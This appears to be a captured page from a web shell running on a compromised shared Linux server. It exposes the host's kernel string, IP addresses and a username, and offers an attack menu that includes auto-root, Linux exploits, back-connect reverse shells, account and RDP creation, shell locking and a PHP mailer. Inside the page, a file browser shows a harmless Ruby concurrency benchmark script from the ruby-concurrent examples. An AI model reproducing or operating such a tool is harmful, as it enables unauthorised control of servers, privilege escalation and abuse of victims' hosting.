Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
ruby-concurrent /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
a-tour-of-go-channels
[ DIR ]
drwxr-xr-x
go-by-example-channels
[ DIR ]
drwxr-xr-x
actor_stress_test.rb
3.23
KB
-rwxr-xr-x
atomic_example.rb
392
B
-rwxr-xr-x
benchmark_async.rb
6.81
KB
-rwxr-xr-x
benchmark_atomic.rb
2.53
KB
-rwxr-xr-x
benchmark_atomic_1.rb
2.52
KB
-rwxr-xr-x
benchmark_atomic_boolean.rb
984
B
-rwxr-xr-x
benchmark_atomic_fixnum.rb
964
B
-rwxr-xr-x
benchmark_map.rb
581
B
-rwxr-xr-x
benchmark_new_futures.rb
2.16
KB
-rwxr-xr-x
benchmark_read_write_lock.rb
4.27
KB
-rwxr-xr-x
benchmark_structs.rb
4.66
KB
-rwxr-xr-x
format.rb
1.86
KB
-rw-r--r--
graph_atomic_bench.rb
1.73
KB
-rwxr-xr-x
init.rb
104
B
-rw-r--r--
stress_ruby_thread_pool.rb
791
B
-rwxr-xr-x
thread_local_memory_usage.rb
1.61
KB
-rwxr-xr-x
thread_local_var_bench.rb
606
B
-rwxr-xr-x
who.rb
711
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : graph_atomic_bench.rb
#!/usr/bin/env ruby #$: << File.expand_path('../../lib', __FILE__) require 'optparse' conf = { :vary => "threads", :lock => "atomic" } OptionParser.new do |opts| opts.on("-l", "--lock atomic|mutex") do |l| conf[:lock] = l end opts.on("-v", "--vary threads|speed") do |v| conf[:vary] = v end opts.on("-h", "--help"){ puts opts; exit } end.parse!(ARGV) result = File.open("results_#{conf[:lock]}_#{conf[:vary]}.csv", "w") if conf[:vary] == "threads" # Varies the number of concurrent threads that update the value. # # There is a total count of 1mio updates that is distributed # between the number of threads. # # A doubled number of threads is used so that even adds 1 and odd subtracts 1. # This avoids creating instances for Bignum since the number should # stay in the Fixnum range. # (1..100).each do |i| i = i * 2 ret = [] 10.times do ret << `ruby #{File.dirname(__FILE__)}/benchmark_atomic_1.rb -l #{conf[:lock]} -t #{i}`.to_f end line = ([i] + ret).join(', ') puts line result.puts line end elsif conf[:vary] == "speed" # Varies the execution time of the update block # by using long calulation (MD5) # # NOTE: Thread.pass and sleep() are not usable by the atomic # lock. It needs to run the whole block without hitting # another atomic update otherwise it has to retry # # The expected result is that the atomic lock's performance # will hit a certain threshold where it will be worse than mutexes. # (1..30).each do |i| ret = [] 10.times do ret << `ruby #{File.dirname(__FILE__)}/benchmark_atomic_1.rb -l #{conf[:lock]} -s #{i}`.to_f end line = ([i] + ret).join(', ') puts line result.puts line end end
Close